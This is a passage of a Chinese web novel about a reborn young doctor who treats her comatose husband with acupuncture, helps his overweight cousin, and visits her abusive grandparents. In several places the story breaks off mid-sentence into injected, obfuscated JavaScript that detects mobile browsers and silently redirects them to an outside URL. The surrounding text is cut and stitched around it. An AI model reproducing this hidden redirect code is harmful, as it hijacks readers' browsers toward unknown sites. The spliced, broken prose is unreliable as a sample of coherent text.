可当她心血来潮过去看望她们,看着她亲自精挑细选的东西,却根本没用在她们身上,有的是被家里其他人穿走,有的是被同村的人抢走,还有的是压根就没发到她们手里,就被人给转卖了。 她的心情就更不好了,也再没心情亲自去挑什么买什么。 后来就去搞了慈善基金会…… 现在么,跟人一分两分地还价,拉家常一样进行着几分几毛的大生意,却让她觉得格外开心。 被谈家悦打断这疯狂购物行为后,她就拉着谈家悦去国营饭店,亏什么不能亏肚子。 公社的国营饭店很小,可选择的菜色也不多。 今儿运气不错,有饺子,还有卤的猪头肉猪肝猪肺猪肠等下水。 沈南星直接要了两碗饺子,两个卤猪蹄,就在这儿吃,还另外又买了一斤生饺子。 如今这温度,饺子不怕坏,带回去给谈奶奶吃。 谈家悦看着面前桌上油汪汪的卤猪蹄,她口水直流。 天知道为了减肥,她有多久没碰过肉了,就连炒菜,她都不用猪油,家里几个哥哥都不想叫她炒菜了。 可是,她真的能吃吗? 沈南星:“放心吃,吃饱才有力气减肥。” 谈家悦:“……” 反正她相信小南姐,小南姐叫吃,那就吃吧。 不得不说,这时候的菜量是相当大,沈南星现在胃还没调养好,吃饭得适量,那一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈南星趁机科普了海姆立克急救法,当然,没有提这个名字,就只是说了这种方法。 针对硬物卡住、呛到器官比较有用,像是汤圆、馒头之类的,就不太管用了。 见大家都有兴致听,她就详细地说了对大孩子和成人应该怎么做,对小婴儿又应该怎么做。 “看着好像挺简单的。”青年挠挠头。 沈南星笑:“对,本来就很简单,掌握住要领,真遇上了别慌,按我刚才说的操作就行了。” 在场的人都听得格外认真,还互相用对方实验,叫沈南星看看对不对。 甚至就连榨油坊的人,也早知道了沈南星救了花生卡住的小孩的事,这会儿也在认真听认真学。 谈家悦一脸崇拜地看着沈南星,小南姐可真厉害,所以只要听小南姐的话,半年多,她就真的能瘦下来了呢。 回到村里,已经是五点多钟了。 这个时间,天已经暗下来了,风呼呼的刮,挺冷的。 沈南星和谈家悦走回去,这时候家家户户都在做饭,谈家门口,谈老太正在朝外面张望,看到她俩,才算松了口气。 “这天是降温了,真冷,晚上咱们炖粉条贴饼子吃。” 谈老太说道。 谈家悦赶紧说:“奶,小南姐给你带了羊肉饺子。” “你们吃了没?”谈老太立刻问。 谈家悦:“我们中午吃过了,这是给您带的。” 还有这一筐子乱七八糟花钱的玩意儿,不管是红枣核桃还是柿饼,村里人家都有,想吃去换点就成,不用花钱买。 就是那小鱼干,闲的时候叫她几个哥哥去河里网一些来,尤其是二哥还在养鱼场上班,听他说有时候网到那小鱼仔都没人要的,无非是拿回来自己费点功夫给洗干净焙干了,又值啥,真不值当去买。 谈家悦都有些担心,小南姐买这些东西,奶奶会不高兴。 谁知谈奶奶看一眼,啥也没说,叫拿屋里放着,直接招呼俩人准备吃饭。 “晚上吃太多肉不消化,这晚上冷的很,饺子也不怕放,留着我明儿再吃。” 谈老太道,“这俩猪蹄,正好炖在大锅菜里,那粉条肯定更香……” 谈家悦还在神采飞扬地跟谈奶奶说着沈南星救那个小男孩的事,还拉着谈奶奶比划那个救人的办法,她也学会了呢! 还有早上,那婶子说三哥坏话,小南姐却说她得了舌癌! 隔壁的为民叔,遇风就暴汗,小南姐把他的病症说得准准的,也给他开了药呢。 听得谈老太一愣一愣的。 9. 第9章 谈老太的手艺是真好,也是真舍得吃。 风干的五花肉切成片,在灶房的柴火锅里煸出油,下葱姜蒜干辣椒,自己晒的豆豉,炒出香味,再放新鲜的白菜进去翻炒,放一点自家做的酱油,再翻炒一下。 把煤炉子拎堂屋里,柴火锅里的菜都给盛到小一号的铝锅中,拿去堂屋放在煤炉子上。 风干肉里有盐,还放了豆豉调味,菜里就不用再多加盐,加一瓢开水进去,把泡好的粉条子下进去,再把发好的玉米面,揪成饼子给贴在锅的边沿,盖上盖子闷着。 厨房那边的锅刷一下,添水进去烧开后打个鸡蛋汤。 沈南星和谈家悦回来的时候,老太太已经把饼子贴进去了。那味道,香死个人! 也就一会儿的功夫,沈南星把买回来的东西给放好,这边谈老太就叫着吃饭了。 “三哥吃过了吗?”沈南星问。 谈老太:“吃了,到点儿就给喂了。” 沈南星迫不及待在炉子跟前坐下,嘴里唾液疯狂分泌。 煤炉子的火盖这会儿已经盖住,里面的煤球也燃烧得差不多了,泛着红光,能给上面的锅保温。 就这么围在炉子跟前,一人舀一碗菜,一个饼子,吃得喷香。 老太太的手艺真是绝了,中午吃了那么多的沈南星,原以为自己晚上吃不下多少的,结果又吃了一大碗菜,两个饼子。 上辈子也是这样,嫁过来后,老太太只让她搭把手照顾谈礼,谈家悦和她哥哥们都会经常过来帮忙伺候谈礼,她真正照顾谈礼的时候,不算很多。 而老太太也从来没要求她做个好媳妇,做饭这些活谁有空谁干。 但是吧,她做饭的手艺实在比不上老太太,所以经常她干别的家务,老太太做饭。 后来南下逃亡时,在黑诊所被压榨时,甚至是功成名就时,她最想念,还是谈老太做的饭菜。 她自己做不出那个味道,请无数大厨也复刻不了。 某一次深夜去给龙三少出急诊时,那人明明腰腹的纱布在往外渗血,可他却还在厨房做夜宵,做得多了一点点,就请她吃了一小碗的葱油拌面。 那碗葱油拌面,就是她记忆中谈老太的手艺,一模一样的感觉,可惜太少了,那人就只给了她一筷子。 “奶,明天能吃葱油拌面吗?想吃了。”沈南星一边摸着肚子一边说。 谈家悦飞快地收拾了碗筷去洗碗,谈老太正翻箱倒柜给她找被子呢。 今天下午忽然又开始降温,倒春寒么,晚上这会儿已经挺冷了,谈礼和沈南星的被子都要再给换成厚的。 沈南星这婚结的仓促,没有彩礼也没有陪嫁,婚前准备更是啥也没有。 不过老太太早就给孙子谈礼攒了结婚用的东西,被褥什么的都有,从箱子里拿出来就是。 把被子递给沈南星,老太太说:“那值当个啥,明儿早就给你做。你晚上盖这个八斤的就差不多,新棉花被子暖和。还有这条羊毛毯,是大房你大娘准备的,四海在供销社上班,不知道咋淘换的羊毛,你大娘带着悦悦混着些毛线给织成这条毯子,别看薄,暖和的很。你看书啥的披一下。” 真是难得的好东西。 沈南星把被子和羊毛毯抱去自己和谈礼的婚房。 他们在一个房间,只不过谈礼睡他的床,而她睡另一张床。 沈南星把被子放好,又给谈礼检查了一下,就出去堂屋,把煤炉子火盖打开,里面的煤渣用火钳扒拉出来,又给上面已经燃烧殆尽的煤球给换了,在外面通一下风,让火烧得旺起来,尽量能够燃烧得更完全一点,减少一点一氧化碳。 “干啥,想烧水擦洗?”谈老太问道。 沈南星:“我又寻摸到一些新想法,打算给三哥扎针试试。” 试什么,她没说,谈老太也没问。 谈家悦刚在厨房把今天的事儿都跟她说了,小丫头特别开心,因为小南姐说她的肥胖是病,不是吃出来的,说能治,还说她一定能治好三哥。 谈老太这把岁数了,养气的功夫还是有的。 治不治得好,试试呗,反正也不会更坏,万一好了呢? 只是谈老太没想到沈南星一刻也等不及,这大晚上的就要开始。 不过,随她去吧,闲着也是闲着,就算治不好,也就是给三礼多扎几针,反正现在三礼也不知道疼。 谈老太这么想的,也是这么说的,叫沈南星敞开了治,有啥后果她担着。 把煤炉子弄好,拎进房间里,房间没有门,夏天是布帘子,冬天就是棉帘子,如今才刚开春,棉帘子还挂着呢。 这会儿把棉帘子打下来,只露个缝,防止出事儿。 煤炉火烧得旺,房间温度很快就升高了。 谈家悦也还没走,她帮着沈南星一起,给谈礼上身衣服脱掉。 “小南姐,在卫生院你给桂香扎针,就只扎的头上,三哥这醒不过来应该也是头上的毛病吧,你咋还要给他身上也扎针?” 谈家悦问道。 沈南星:“不一样,桂香是脑部有瘀阻,你三哥他现在是,大脑跟身体之间缺乏感知,需要给他建立感知。” 说的是啥,谈家悦也听不懂,反正按小南姐说的办就是了。 上辈子在沈南星回来之前,针对植物人的中医促醒法已经在全国各大医院推广运用,甚至全世界都知道,脑昏迷相关病例,治疗效果最好的医院在中夏国! 中夏国古代的中医在《神应经·诸风门》中就有“不识人:水沟、临泣、合谷”的记载。 但这个不识人一般指的是中风昏迷或者严重中暑昏迷,跟植物人的昏迷不同,却恰恰跟如今意识已经苏醒的谈礼,能算是基本对症。 谈礼并不是真正意义上的植物人,他意识清醒,只是外部身体感知网络和内部自我意识之间,无法通达,一旦通达,他就能指挥自己的身体,就能苏醒过来。 针刺无疑是很有效的手段,取某些穴位进行针刺,能解除脑神经的抑制状态,刺激改善脑循环,从而达到醒脑开窍的效果。 如果是在现代仪器的监控下就能发现,针灸投影区域脑细胞电活动会明显加快,从而促进脑细胞的恢复,梳理混乱的脑神经,使内外意识达到统一。 再配合口服汤药,效果应当是很明显的。 这并不是很难的理论,偌大的中夏国,藏龙卧虎,她外公秦安平曾经被誉为国手,却也不敢说没人能超过自己。 谈礼这情况要么是没找到有能耐的中医治疗,要么是治疗没达到效果。 沈南星认为是后者。 辨证的理论方向是对的,为什么治疗达不到效果? 很简单,因为他们的针刺不到位。 上辈子沈南星之所以能“无所不医”,就是因为她对人体的气、机,有着非同一般的感知能力,无论是诊脉还是针灸,她能轻松做到的,别人连想都不敢想。 给针消毒之后,沈南星就开始行针,取风府、哑门穴进针,进针得气后再退针,这两个穴位交替进行,此为主穴,再取配穴人中、百会…… 扎针完毕,沈南星抹了一把头上的汗,叫谈家悦帮忙把买的药拿过来。 她找出给谈礼准备的药,其中一包打开,丢到煤炉上面的铝锅里煮。 “哎,有药炉。”谈老太赶紧说。 再说那药材还没洗呢! “这个是用来泡脚,帮助恢复他身体感知的。” 沈南星又找出来另一包药,“这个您明早给煎上,还是三碗水煎成一碗水,早上空腹先给他灌下去,过半小时再吃饭。” 谈老太连忙拿过药放好,记住了。 沈南星又看向谈家悦:“还有悦悦你,我也给你扎几针。” 给谈家悦扎针就简单迅速多了,叫她就坐着就行。 只是短短十五分钟,沈南星就给她取针了,谈家悦都还没反应过来呢。 不过,这大冷天的,她好像出汗了!浑身暖洋洋的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15062995|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈南星又把给谈家悦的药材挑出来让她带回去:“给你也拣了几贴药,咱门先治病,再配合一定的饮食、运动,你肯定能瘦下来。” 沈南星又交代喜不自胜的谈家悦,给她治病的事可以说,但给谈礼治病的事情,不要给任何人说,有人问起,就只说是沈南星想试着开点药给谈礼调理身体。 谈家悦忙不迭点头:“肯定不说。” 她看书的时候学到一个词,“事以密成,语以泄败”,毕竟不是谁都盼着你好,事情还没办成呢就到处去说,那指不定就有人使绊子。 她也就罢了,三哥的情况特殊,绝对不能出岔子。 交代完也该给谈礼取针了。 沈南星让谈老太去拿木桶过来,已经熬煮过十几分钟的药汤子,倒进木桶,放凉到一定温度,就给谈礼泡脚。 刚给取完针的谈礼穿好衣服,就有人在外面喊门,很快又进了院子。 “奶,奶,悦悦还在这儿?我来接她回家。” 说话的是大伯家的老大,谈家胜,也就是谈家悦的亲大哥。 谈家悦在屋里连忙应声。 谈老太也叫谈家胜赶紧进屋,外面冷。 这种天气,热水降温也很快,也没等太久,木桶里的药汤子就降到只是烫手的程度。 谈家胜帮着扶谈礼坐起来,把他的双腿耷拉在床边,浸入木桶里的药汤子中。 别看谈礼现在瘦得脱相,但他骨架大,没人帮忙还真不好摆弄。 也就泡了十几分钟,水的温度低于皮肤,就不泡了。 给谈礼重新收拾好,盖好被子,谈家胜这才带谈家悦顶着寒风回家去。 次日一早,谈家悦又是早早地来帮忙伺候谈礼,沈南星都还在被窝里没起床呢。 跟谈家悦比起来,她这个新媳妇当得可真不称职,却没一个人说她半句。 九点多,太阳升高,院子里温度也终于升高时,谈家胜又来了,帮着把谈礼抱到圈椅上,抬到院子里去晒晒太阳。 沈南星也拉了一个圈椅过来在他身边坐着,一边晒着太阳,一边不紧不慢地给他按摩四肢。 她知道他意识醒着,就用对待意识醒着的人的态度来说话,虽然等他醒来,可能一个字都不会记得。 “奶早上做的葱油拌面,可香了香了,还给我加了个煎蛋,我怎么都做不出这种味道。” “昨天买的那个焙干的小鱼干,挺好吃的,不过油炸的肯定更香。要不是现在天儿太冷,就央二哥去帮我抓点回来。” “等我胃养好,我要吃水煮鱼片,是酸菜鱼,加辣加酸的那种。”她说着就忍不住咽口水。 “昨天买的那个柿饼不好吃,看着颜色可漂亮了,唯一没尝就直接买的,太难吃了,涩的很,嘴唇都麻得没知觉了。” “对了,昨天在公社碰见金元宝,那流氓竟然还敢来找茬,我就小小地教训了他一下。” 沈南星一边絮叨着,一边给他按摩,四肢都给按过一遍,她就把他的手撂开,自己摊在圈椅上:“哎呦我的妈呀,累死我了。哎,要是能有个椒盐虾吃就好了。香辣螃蟹?你爱吃辣吗,辣子鸡也好吃,红油肥肠,水煮牛肉……” 不行了,说得口水都下来了,可是啥也吃不到。 沈南星就跑进屋去,把那小鱼干拿出来,撒上点辣椒面,勉强解解馋。 再转头看着某位植物人,她想了一下,把沾了辣椒面的小鱼干放他鼻子跟前:“给你闻个味儿。吃这么长时间流食,馋死了吧。” “阿嚏——” 某位植物人狠狠地打了个喷嚏,猝不及防的沈南星手一抖,好好的小鱼干都给掉地上了。 三秒钟捡起来,吹一下,不干不净吃了没病。 刚要吃才想起来什么,立刻又瞪向某个植物人:“你口水没喷上去吧,你是不是嫉妒我吃好东西你吃不到?” 也幸亏这会儿院子里就他俩,也幸亏这植物人是真的植物人,要不然都要被气得跳起来。 10. 第10章 谈老太说的没错,嫁来谈家,至少能叫沈南星活得像个人。 那可太像个人了。 每天睡到自然醒,不用洗一家子的衣服做一家子的饭,不用扫猪圈铡猪草,不用挨骂挨白眼,还能吃饱,吃好,天天都有肉吃。 晚上能自己睡,能盖新的软软的厚厚的棉被。 简直是从地狱到了天堂。 即便是重生回来的沈南星,除了对厕所和取暖不够满意之外,也没什么可挑拣的地方。 更别说是上辈子,从沈家那个狼窝逃出来,掉进谈家这个福窝的沈南星了。 日子太舒坦的后果就是,一晃结婚三天,她啥也没想起来。 直到这天早上,谈老太给她准备了一筐子的东西,让她去沈家回门,她才恍然,时间这么快的吗! 这边的风俗是出嫁姑娘三天回门,要女婿陪着一起,带厚礼回门。 一大早的,谈家悦也过来了,比往常来得更早一些,帮着做饭收拾院子,又帮着给谈礼洗漱喂饭,弄完,谈老太看着时间,就让谈家悦陪着沈南星一起回门。 主要是谈礼这个女婿,显然没办法陪着媳妇回门,倒是有几个堂哥,可让堂哥陪着回门也不对劲,那就只能让堂妹谈家悦陪着回门了。 回门? 沈南星看着面前这一筐子的好东西,有腊肉,有罐头,有麦乳精,甚至还有两条烟,以及两瓶硬纸盒包装的酒。 要知道现在农村人没人买成包的烟抽,烟瘾大的都是买烟丝用烟斗抽,或者自己撕废纸卷烟丝,还有连烟丝都买不起的,就用茴香晒干了替代,别说,那茴香味道香,又不含尼古丁,比烟叶可健康多了。 而酒呢,通常有重要客人来的时候,家里才会打上一斤酒,散装的,这已经很体面了。 瓶子装的酒,多少人尝都没尝过,更别说这种硬纸盒包装,上面是彩色印刷的,一看就非常高档的酒。 这回门礼未免也太重了吧! 在这个一般人家彩礼也就三五十块的年代,回门礼通常都是自家做的白面馒头、花卷,最多最多,再割上一斤肉,就已经非常体面了。 谈老太准备这些礼,豪华都不足以形容! 就从这些礼上,就足见谈老太对沈南星的看中。不看中就不会费心准备这么好的回门礼。 这么好的东西,给沈家那群人,可真是白瞎了。 谈老太忍不住瞪她一眼:“可别犯傻,回门带的东西不像样,会被人笑话。” 沈南星没吭声,她又不是真的懵懂新媳妇,她明白老太太的意思。 谈老太无声地叹气,伸手点了点沈南星的额头:“你这丫头,脾气咋这么硬呢,甭管心里咋想的,面子功夫也得做出来。” 看沈南星的表情,谈老太就不由得叹气。 老太太就又继续说道:“你爷奶惯会做人,你在老家这边长大,你爷奶对你就有养育之恩,甭管中间他们是怎么磋磨你的,结果是你好好地长大,活到现在,那这份养育之恩就跑不掉,你要不认他们,会被乡里乡亲戳脊梁骨。” 老太太又道:“那些年村里多少孩子养不活,丢了的送人的,还有生下来就溺死的,甭管对你多差,他们把你养大了,村里人就只会看到这点。” “更别说,他们还叫你上学了,叫你参加高考了,最后是你自己没考上。” “至于说逼着你嫁给金元宝,在村里人看来也是你有错在先,是你给金元宝开错药,才让金元宝赖上你,你爷奶总不能为了你,把一家子都搭上去跟金家作对吧?” “更别说村里好多人还觉得,金家条件那么好,嫁给金元宝也是一门好亲事,一辈子吃喝不愁。” 谈老太看着沈南星:“你自己想想,从外人的角度来看,是不是这样的?” 外人体会不到她当牛做马这么多年,受过多少白眼,挨过多少辱骂,遭过多少饥寒。 外人也不会知道,她上学的机会是用她威胁要举报沈成山,让沈成山寄钱回来,他们才给她上学,即便如此,她想去学校的前提也是完成全部家务,哪怕晚上不睡觉也得做完,不然就别想去学校。 外人更不会知道,她并非高考落榜,她明明就考上了全国最好的医科大学,可是却被姑姑一家,偷走她的通知书,截断了她的前程。 外人当然也不会知道,金元宝的讹诈,从头到尾都是他们一起算计好的,目的就是为了把她一辈子困在农村,永远飞不起来,自然就不会再妨碍到小姑家表姐的前途。 没人会知道这些。 正如谈老太所说的,外人只会看到爷奶对她有养育之恩。 谁家没点矛盾,一点小事都要闹到断绝关系的话,那就会说这人太自私太独了。 谈老太又拍拍沈南星的手:“小南,奶知道你心里苦,知道你这些年受了多少委屈,但事儿不是这么办的。你现在跟沈家断绝关系,所有人都会戳你脊梁骨。这些都是看着你长大的乡里乡亲,你是打算以后都再不回来了?” “就算是你以后再不回来,不在乎这些人说三道四,可你的前程呢?” “你考大学,毕业要分配工作,你在人品上,就不能有这种污点。不计养恩,六亲不认,这是啥好名声?你在单位上怎么做人?不能再因着沈家,叫你坏了前程,面子功夫得做。” 谈老太苦口婆心,说这些话都是人生经验之谈。 句句都是好意。 这年头找工作或者是通过考试去机关单位,道德层面的评价也是很重要的,如果道德评价不过关,招工的时候就直接把你刷下去了。 更别说如今的大学生毕业分配,基本都是干部,一个道德不过关的干部,有什么前程? 谈老太这是在教她,不要留下道德上的把柄。 老太太对她这心,真的比真金还真。 即便沈南星对这些可能并不在乎,她的前程从来不在别人嘴里,但,她领老太太的情。 上辈子她拿到大学录取通知书后“一去不回”,还怎么都联系不上,老太太想必很难受,在村里应该也被看了笑话,笑话她的孙媳妇飞了,笑话她鸡飞蛋打空算计。 这辈子,她不想再叫这小老太被人笑话,她想叫她活成所有人都羡慕的样子,以后都过得顺心如意。 那就不能不在乎人言,农村这地方嘛,人情世故看得比天大。 “会咬人的狗不叫。”小老太忽然又压低声音说了一句。 沈南星顿时就满头黑线:“奶你变着法子骂我是狗呢。狗就狗吧,狗想吃大骨头,炖得烂烂的大骨头,再下碗手擀面,泼点辣椒油……” 谈老太戳她的额头,也是拿她没办法了,推着她赶紧走:“早点回来,中午给你做。” 沈南星却回头喊:“奶,晚上再做,我带这么多礼回门,中午咋能不在娘家吃饭呢。” 出了门,谈家悦忍不住问:“小南姐,你跟奶奶说那么多,咋我就听不懂呢。” 沈南星挽住小姑娘粗壮却柔软的胳膊:“乱七八糟的,不用听懂。给你扎三天针,也吃三天药了,有什么感觉吗?” 说起这个,谈家悦的眼睛顿时亮起来:“小南姐,我瘦了,我瘦了5斤!” 这天气穿的厚,再加上谈家悦这超大基数的体重,她还真没看出来。 谈家悦眉飞色舞:“我在家称的,真的瘦了5斤!而且我精神头好像也好了,以前我饿着不吃饭减肥,经常都头晕眼花的,可这两天我按你说的好好吃饭,没有饿着,不但瘦了,精神头也特别好!你摸摸我的手,热的!以前不管穿多厚,我手一年四季都冰凉。” 沈南星也为她高兴:“等春节过后,你这衣服穿着就晃荡了。等到夏天换上单衣服,别人脱掉棉袄,你连棉袄带肉肉一起甩掉,羡慕死其他人。” 谈家悦被她说得笑起来,那画面,太美好了吧,她都不敢想。 谈老太给装回门礼的筐子,摆得很有技巧,别人一打眼扫过去,就能看清楚筐子里的事啥。 “哎呦小南,这是回门去啊,带的啥礼啊……有肉有烟有酒,哦豁,这可真不少。” “你奶可真是下了血本了。” “那可不,好不容易诓骗到这么好的孙媳妇,能不上心么,三混子都成那样子了,再不对媳妇好点,那还能留住人?” “嘿,年纪小不懂事,殊不知这过日子,男人才是依靠。别看那金元宝混,再混好歹也是个全乎的男人,能叫你当上真女人嘿嘿……” “呸,滚一边去,说什么骚话呢,欠抽是吧,来来,我这儿不缺扫帚,抽不死你!” 谈家悦也忍无可忍,回头瞪着说骚话的那人:“癞子你等着!” 等我三哥醒了有你好受的,非得把你那张臭嘴按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15062996|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到粪坑里好好洗洗。 后面的话她忍住没说,小南姐说了,不让提给三哥看病的事儿。 万一没治好,人家笑话,万一能治好,也怕人暗中使坏。一切等真的治好了再说。 管住嘴! 癞子一点儿都不怕,哈哈大笑:“我等着咋了,你三哥还能爬起来揍我,叫他爬起来揍我呀。” “好了癞子,一边儿去,再在这儿挑事,年底分肉给你排最后!” 会计栾为民去大队部,路过这边,呵斥了一句。 癞子立马堆笑:“就是说句玩笑话嘛,行行我不说了,我这就走。” 栾为民冲沈南星道:“别跟这没脑子的耍嘴皮子,时间不早了,赶紧去吧。” 到沈家大门口,已经有人在东张西望,看到沈南星和谈家悦,立马就回头朝着院子里喊:“爷、奶,小南姐回来了。” 周围四邻听到喊声,也都纷纷从院子里出来,朝这边围拢过来。 “哟是小南回门了,都好着呢吧。” “哎,秀英婶儿,都好呢,您吃了没,今儿忙啥。” “瞎忙,你红燕姐肚子大不方便,我给屋里收拾收拾,东西都拆洗一下,趁着天好晒晒。” 说话这位秀英婶儿,就住沈家对面,隔了一条马路。 她闺女宋红燕跟女婿都住在娘家,宋红燕怀孕了,这会儿都该有七个月了。 沈南星9岁高烧晕厥差点儿死掉那次,村医宋建国说让赶紧送县医院说不定还有救,大雪天的,路上积雪一尺深,谁给送?谁出钱? 沈家爷奶说她这肯定是活不成了,不叫管,要给她停到后山去,等最后一口气咽下去,就给挖坑埋了,未成年孩子死了叫夭折,不能进祖坟,随便埋了就行。 当时她身上衣服因为高烧呕吐,脏得不像样子,秀英婶儿就说不能叫娃这样走,沈家二老却说那也没衣裳给她换,人都没了,还再浪费一套衣裳,没把她身上的扒下来就不错了。 这年月布料衣裳多难得,多少人家冬天就一套棉袄棉裤,谁要出门谁穿。 秀英婶子转身回家,把她闺女宋红燕一件半新不旧的棉袄拿来,给沈南星换上,说好歹来了这世上一遭,走也走得暖和干净点。 后来15岁的少年混子谈礼把她送去县医院,她没死成,那套衣服又还了回去,毕竟秀英婶子家也不富裕,她闺女也就那一套像样的棉袄,出门上学还要穿呢。 但不管咋说,沈南星记这份情。 虽然吧,秀英婶子这人也是个是非精,但谁没个缺点,人嘛,过得去,活得了,就行了。 “婶儿,中午来家吃饭,当年要不是您看我可怜,把红燕姐的袄借给我穿,我可就真冻死了,压根等不到去医院。您对我有再生之恩,今儿我回门,您不来,那以后咱娘俩就甭处了。” “哎哟你这丫头,这说的,我不来都不行了。” 秀英婶子高声笑道,“都多少年前的事儿了,小南还记得。哎我还记得当年,建国说小南送县医院还有救,沈家她爷奶却说女娃子不值当费那钱,小南还喘着气儿呢,就给停后山了。多亏了三礼,硬是一个人把小南送去县医院,给救回来了!哎哟哟你们说,三礼那时候是不是就知道会给自己救个媳妇儿回来啊,现在三礼躺床上醒不过来,小南却非要嫁过去,这想必也是记得当年的情分呢!” 旁边蹲着抽旱烟的二大爷,把黄铜的烟嘴在地上磕了磕,又重新从挂着的烟丝布袋里捏了一撮烟丝放进去,点着抽一口,才慢慢笑道:“小南是个记恩的。” 沈南星立马又跟这位说:“二大爷,您和二奶今儿晌午也得来,小时候我喂猪掉猪圈里,那猪张着嘴就要啃我,幸亏成武叔拿了铁锹把猪打跑,不然我不死也得残。方庄不是就有个娃,大人没看好爬到猪圈里,叫猪给啃了半拉身子么,真是想想都后怕。” 这位二大爷是沈家本家的,他和沈南星的爷爷沈有粮,有着同一个爷爷,到了沈南星这一代,正好还在五服内,这在农村就是亲得不能再亲的本家了。 听沈南星这么说,二大爷立马也笑逐颜开,连连点头。 农村人么,就讲究个面子,讲究个人情。 “成成,一定来,一定来。” 沈家院子里听着这一切的沈家老两口,脸都黑了。 招呼这么多人来,得费多少粮食!! 11. 第11章 这年头粮食金贵,一般人都不会在饭点去别人家。 别人如果客气地说中午在这儿吃点,也没人会当真,都是客气话罢了。 但若是像沈南星这样,在回门这特殊日子,这么真诚地强烈地邀请,那就不是客气,是亲近的表现,你要是不来,正如她说的那样,以后就别处了。 也只有关系走得特别近的人家,才会在大事上喊对方来家里吃饭,一定要来。 沈南星还抓了几把糖,散给来看热闹的周围邻居家的小孩子:“不是啥好东西,大家都甜甜嘴。” 糖也是谈老太准备的,不是供销社最便宜的那种散装水果糖,是正儿八经每一颗都单独包装过的糖,什么口味都有,里面甚至还混有奶糖。 “我的,我的。” “给我,这是我的。” “我要那个橘子糖。” “这是西瓜的,我要西瓜的。” “这是啥,没见过。” “傻蛋,那是菠萝糖,可香了。” 一群孩子可不管那么多,有吃的不抢是傻蛋。 沈家大门内二叔家的小儿子沈显祖,一个劲儿地要往外窜,嘴里嚷嚷着“我也要吃糖,我也要”,却被他妈给摁住。 二婶田彩云低声跟宝贝疙瘩小儿子说:“你小南姐肯定带回来很多糖,别跟外面那些抢,丢人,一会儿都给你吃。” 勉强安抚住沈显祖。 外面的沈南星见围上来的孩子更多,索性直接把剩下那点糖也都给撒到孩子堆里:“就这么些了,没抢到的都分分,甜甜嘴,下回给你们带瓜子吃。” 娃们都哄闹着抢起来,有那懂事的大声喊着谢谢小南姐或者是小南姑姑。 一听说糖没了,沈显祖顿时控制不住,哇一声推开他妈,大哭着朝门外跑去,冲进孩子堆里,直接就上手去抢别人拿在手里的糖。 “是我的,都是我的糖,你们不许吃,给我,都给我拿出来!” 沈显祖大声哭喊着。 其他孩子哪里肯让,一时之间乱作一团。 沈南星眉头皱着呵斥:“显祖你咋这么不懂事,咋能上别人手里兜里抢东西,这不是强盗吗?谁教你这么干的。” “孩子嘛,都不懂事。”二大爷打着哈哈。 沈南星一副苦口婆心的姿态:“娃们就得从小教,再想吃也不能上手去抢别人的。在自己家里就算了,出门了这种做派叫人笑话。” 秀英婶子连连点头:“小南结婚了也长大了,是个当姐姐的样子。彩云,你瞅瞅你家小子,这惯得不像话,再不好好管教,以后长大了还得了。” 二婶田彩云气得脸色铁青。 二叔沈群山赶紧说:“小南快进去吧,你爷奶一大早就在等你,咋这会儿才到。” 沈南星笑着说:“我也想早点来,可我奶一个劲儿地往筐里添东西。我说哪怕拎兜红薯回来,二叔还能把我打出门?可我奶真是生怕叫人觉得她对我不好,从大爹家拿了腊肉不说,还翻箱倒柜地把麦乳精啥的都给找出来添上,还有那两瓶酒两条烟,说是去年省里哪个领导下来看望她给带的,一直收着呢,咱们县里有票都买不到的好东西。” 在众人惊叹声中,沈南星又说:“我也是看这时间实在是不早了,太晚回来不像话,我奶还一大早就叫大堂哥去街上割几斤肉带上,估摸着也快回来了,可我怕二叔你们等不及。没得为了几斤肉,叫长辈们久等的。” 沈南星一口一个我奶,说的当然是谈老太,可见有多亲近。这叫韩金花听起来格外刺耳,这死丫头在家的时候,三棍子都打不出一个屁来,这才嫁出去几天,就成这样! 众人都在夸沈南星这结了婚,人也大方懂事了,以往闷闷的不言语,现在这道理一套一套的。 沈家老二沈群山,一张脸都憋红了。 他很想跟侄女说,你其实也不用回来这么早,再等一会儿把那几斤肉带上多好,家里多少天都没吃肉了。 但众目睽睽之下,他只能说:“不打紧,你回来就好,赶紧进去吧。” 一众人簇拥着沈南星进了院子,沈家二老已经在堂屋里坐着,早就听见外面的动静了,心里不舒服极了,脸上却还是挤出个笑来。 二叔一家和三叔一家也都在。 二叔家总共三个孩子都在这儿,沈显祖还哭得上气不接下气。 三叔家的两个孩子在上学呢,没回来,只有三叔和三婶回来了。 沈南星笑眯眯地一一打招呼。 而后,就把礼筐放在地上,一样一样地把东西拿出来,递到爷奶手上。 “这可是云烟难买的很呢,还是整条的,听说都是给领导抽的。人家就给我奶送了两条,全塞给我拿回来了。这不管是自己抽还是出去办事,都体面的很。” 沈南星说着,又回头看向随时随地都拎着他的宝贝旱烟杆的二大爷:“二大爷,等我爷拆了,你也尝尝,看跟你吸的烟丝有啥差别,这一包烟九毛三呢,买成烟丝半年都抽不完,二大爷你说啥都得尝尝。” “哎哎,也是享了咱们小南的福了,不然这一辈子都不敢想能抽这么贵的烟。”二大爷笑得见牙不见眼。 